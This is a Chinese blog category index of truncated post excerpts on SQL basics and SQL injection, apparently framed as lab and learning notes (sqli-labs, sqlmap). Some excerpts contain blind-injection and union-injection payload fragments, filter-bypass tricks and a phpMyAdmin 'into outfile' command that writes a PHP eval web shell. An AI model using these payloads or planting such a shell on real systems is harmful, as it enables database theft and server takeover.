侧边栏

随笔分类 -  SQL/SQL防护

摘要:php匹配关键字跳转页面 strstr函数搜索要从目标字符串中搜索的字符串;strstr函数仅用于检查字符串是否存在;strstr函数的用法如下。 <?php b=or;name=GET[name];if(strstr(name,$b)){ //echo "111111"; / 阅读全文
posted @ 2022-11-21 16:03 菜鸟-传奇 阅读(90) 评论(0) 推荐(0) 编辑
摘要:SQL注入__布尔盲注和时间盲注 布尔盲注 sql盲注二分法注入脚本 猜测数据库 ?id=1' and length(database())=8-- - ?id=1' and length(database())>8-- - 当前数据库第一位 截取数据库第一位 通过Ascii码值比较 id=1' a 阅读全文
posted @ 2022-01-16 00:18 菜鸟-传奇 阅读(539) 评论(0) 推荐(0) 编辑
摘要:sql盲注二分法注入脚本 此脚本可以用来检测sql靶场第五关 http://caichuanqi.cn/lab/sqli-labs-master/Less-5/?id=1 手工注入 布尔盲注和时间盲注 猜测数据库 ?id=1' and length(database())=8-- - id=1' a 阅读全文
posted @ 2021-12-27 16:31 菜鸟-传奇 阅读(1617) 评论(0) 推荐(1) 编辑
摘要:sqlmap使用手册 练习 基础命令:参考 输入“python sqlmap.py --version”检查sqlmap是否安装成功 输入“python sqlmap.py -hh”, “-hh”参数用于查看sqlmap的使用说明 输入“python sqlmap.py -u "http://192 阅读全文
posted @ 2021-08-04 18:57 菜鸟-传奇 阅读(2493) 评论(0) 推荐(1) 编辑
摘要:数据库的操作02 SQL语言 SQL 1.什么是SQL ? Structured Query Languange:结构化查询语言 其实就是定义了操作所有关系型数据库的规则。每一种数据库操作的方式存在不一样的地方,称为“方言”。 2.SQL通用语法 SQL语句可以单行或多行书写,以分号结尾。 可使用空 阅读全文
posted @ 2021-06-08 11:39 菜鸟-传奇 阅读(329) 评论(0) 推荐(0) 编辑
摘要:数据库学习记录 数据库的位置和地位 数据库种类 数据库简介 SQL 是用于访问和处理数据库的标准的计算机语言。 SQL (Structured Query Language:结构化查询语言) 是用于管理关系数据库管理系统(RDBMS)。 SQL 的范围包括数据插入、查询、更新和删除,数据库模式创建和 阅读全文
posted @ 2021-06-08 10:09 菜鸟-传奇 阅读(156) 评论(0) 推荐(0) 编辑
摘要:通过phpMyAdmin写入MySQL,获取webshell 在SQL的控制台中输入 进入http://127.0.0.1/phpMyAdmin,并在SQL中输入如下命令 select '<?php @eval($_POST[1]);?>' into outfile 'D:/phpstudy_pro 阅读全文
posted @ 2021-04-19 23:35 菜鸟-传奇 阅读(864) 评论(0) 推荐(0) 编辑
摘要:SQL注入绕过总结 mysql手工注入方法 ?id=1%df’(测试是否存在注入,报错则存在) ?id=1%df’-- -(注释后面多余的’limit 0,1 页面正常) ?id=1%df’order by n-- -(order测试字段长度,报错则说明超出最大长度) ?id=-1%df’union 阅读全文
posted @ 2021-02-24 18:13 菜鸟-传奇 阅读(660) 评论(0) 推荐(0) 编辑
摘要:SQL注入常见函数 首先SQL语句对大小写不敏感,这也导致了后台程序对大小写的检测失效。 SQL 注释语句 ("--"与"/*...*/") (1)--:表示单行注释 (2)/*…*/:用于多行(块)注释 SELECT 查询语句 SQL SELECT 语法 SELECT 列名称 FROM 表名称 S 阅读全文
posted @ 2021-01-13 08:59 菜鸟-传奇 阅读(745) 评论(0) 推荐(0) 编辑
摘要:Mysql一套完整练习题 练完这一套题,你的Mysql就算入门了; 测试表格 --1.学生表 Student(S#,Sname,Sage,Ssex) --S# 学生编号,Sname 学生姓名,Sage 出生年月,Ssex 学生性别 --2.课程表 Course(C#,Cname,T#) --C# - 阅读全文
posted @ 2020-11-03 17:37 菜鸟-传奇 阅读(1184) 评论(0) 推荐(1) 编辑
摘要:MySQL5.5默认的四个数据库用途 INFORMATION_SCHEMA 数据库INFORMATION_SCHEMA:提供了访问数据库元数据的方式。 元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。换句换说,in 阅读全文
posted @ 2020-10-26 09:57 菜鸟-传奇 阅读(509) 评论(0) 推荐(0) 编辑
摘要:数据库手工注入中的闭合 1、什么是闭合? 闭合:这个语句可以完整正确的执行后台服务器PHP代码: sql="SELECTFROMusersWHEREid=id LIMIT 0,1"; sql="SELECTFROMusersWHEREid=id' L 阅读全文
posted @ 2020-08-21 21:03 菜鸟-传奇 阅读(3334) 评论(0) 推荐(1) 编辑
摘要:盲注时绕过过滤方法 一、=被过滤 1、可以使用通配符like或者REGEXP 比如想要查询id为8的数据一般会使用select * from users where id=8; 等于被过滤的话可以使用 或者<、> 或者!(<>)不不等于 使用between 二、引号被过滤 使用十六进制 把单引号的内 阅读全文
posted @ 2020-08-21 14:06 菜鸟-传奇 阅读(1264) 评论(0) 推荐(1) 编辑
摘要:第一次安装SQL Server 2008 无法连接到(local)问题 初次安装使用SQL server 2008时,可能会遇到无法连接到(local)的情况。 如何解决SQL Server 2008 无法连接到(local) 打开SQL server 配置管理器-->SQL server 网络配置 阅读全文
posted @ 2020-08-09 13:29 菜鸟-传奇 阅读(785) 评论(0) 推荐(0) 编辑
摘要:mysql基本命令 mysql基本命令 mysql远程连接 1.打开cmd窗口,进入MySql安装的bin目录 2.执行命令登录数据库,之后会出现一行要你输入密码的mysql -u root -p 3.执行以下命令分配新用户:grant all privileges on *.* to '用户名'@ 阅读全文
posted @ 2020-07-17 18:14 菜鸟-传奇 阅读(354) 评论(0) 推荐(0) 编辑
摘要:SQL注入相关知识整理 4.1 mysql手工注入方法 4.2 mysql手工注入命令顺序... 4.3 报错注入 4.4 布尔注入 4.5 (宽字节注入)大碗宽面 4.6 盲注 4.7 时间盲注和union查询 4.8 延时注入 4.9 注入读文件 写shell操作... SQL注入基础 什么是S 阅读全文
posted @ 2020-07-17 18:13 菜鸟-传奇 阅读(952) 评论(0) 推荐(1) 编辑
摘要:数据库知识总结 本节内容 1.数据库的基本概念 2.MySQL数据库软 安装 卸载 配置 3.SQL 数据库的基本概念 1.数据库的英文单词:DataBase 简称:DB2.什么是数据库? 用于存储和管理数据的仓库 3.数据库的特点: 持久化存储数据。其实数据库就是一个文件系统 方便存储和管理数据 阅读全文
posted @ 2019-07-15 21:27 菜鸟-传奇 阅读(14012) 评论(0) 推荐(4) 编辑
摘要:DCL:管理用户、授权 SQL分类: DDL:操作数据库和表 DML:增删改表中的数据 DQL:查询表中的数据 DCL:管理用户、授权 DBA:数据库管理员 DCL:管理用户、授权 1.管理用户 1.添加用户: 语法:CREATE USER '用户名'@'主机名' IDENTIFIED BY '密码 阅读全文
posted @ 2019-07-15 21:26 菜鸟-传奇 阅读(583) 评论(0) 推荐(0) 编辑
摘要:本节内容 1.多表查询 2.事务 多表查询: 查询语法 select 列名列表 from 表名列表 where ... 准备sql #创建部门表 CREATE TABLE dept(); #创建员工表 CREATE TABLE emp(); 笛卡尔积:有两个集合A,B,去这两个集合的所有组成情况.要 阅读全文
posted @ 2019-07-15 21:18 菜鸟-传奇 阅读(1309) 评论(0) 推荐(0) 编辑

点击右上角即可分享
微信分享提示